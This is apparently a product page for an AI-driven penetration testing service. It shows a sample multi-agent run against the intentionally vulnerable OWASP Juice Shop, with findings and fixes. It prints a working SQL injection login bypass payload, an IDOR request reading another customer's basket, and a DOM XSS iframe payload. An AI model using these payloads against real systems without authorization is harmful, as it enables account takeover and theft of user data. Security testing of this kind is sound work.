From login form to admin in one request
- Target
- OWASP Juice Shop
- Duration
- 11m 42s
- Steps
- 10
- Agents
- Recon, Exploit, Triage, Fix
Sample runs against public, intentionally vulnerable apps. The vulnerabilities are real; timings and traces are illustrative.
Blackbox test the shop at http://juice-shop.local. Focus on authentication and anything a logged-in customer can reach that they shouldn’t.
- 00:04Recon
Mapped the app’s routes
$ enforster crawl http://juice-shop.local --auth none
› Output
142 routes · 38 API endpoints under /rest and /api Angular SPA, Express backend, SQLite
- 01:01Recon
The login endpoint builds SQL from the email field
POST /rest/user/login returns a verbose SQLite error when the email contains a single quote. That points to string concatenation, not a parameterised query.
- 01:58Exploit
Tried a classic login bypass
POST /rest/user/login { "email": "' OR 1=1--", "password": "x" }› Output
200 OK { "authentication": { "token": "eyJ…", "umail": "[email protected]" } } - 02:11TriageVerified
Verified: SQL injection gives an admin session
The token belongs to the first user in the table, the administrator. Reproduced 3 of 3 times.
- 04:00Exploit
Read another customer’s basket
GET /rest/basket/2 Authorization: Bearer <token for customer with basket 1>
› Output
200 OK · basket 2 items returned
- 04:12TriageVerified
Verified: baskets are readable by ID (IDOR)
The API checks that you are logged in, not that the basket is yours.
- 06:30Exploit
Search parameter reaches the DOM unescaped
GET /#/search?q=<iframe src="javascript:alert(`xss`)">
› Output
Payload executed in a headless browser
- 07:35TriageDismissed
Dismissed 37 scanner alerts
Missing headers on static assets, a weak cipher on the dev port, reflected parameters that are encoded on output, and 31 duplicates of the three issues above.
- 10:40Fix
Opened a fix for the login query
- models.sequelize.query(`SELECT * FROM Users WHERE email = '${email}' …`)+ models.User.findOne({ where: { email, password: security.hash(password) } })
- 11:42Triage
Run complete: 3 verified, 37 dismissed
What it proved
- Critical
SQL injection in login bypasses authentication
POST /rest/user/login
- Proof
- email = ' OR 1=1-- returns an admin token
- Fix
- Use a parameterised query or the ORM’s where clause
- High
IDOR: any customer can read any basket
GET /rest/basket/:id
- Proof
- Customer A’s token returns basket 2
- Fix
- Check basket ownership against the session user
- Medium
DOM XSS in product search
/#/search?q=
- Proof
- iframe javascript: payload executes
- Fix
- Stop bypassing Angular’s sanitiser for the search term
A 30-minute demo with zero slides. Bring a repo, a domain or a cloud account and we’ll show you what’s actually exploitable, live.
Book a demo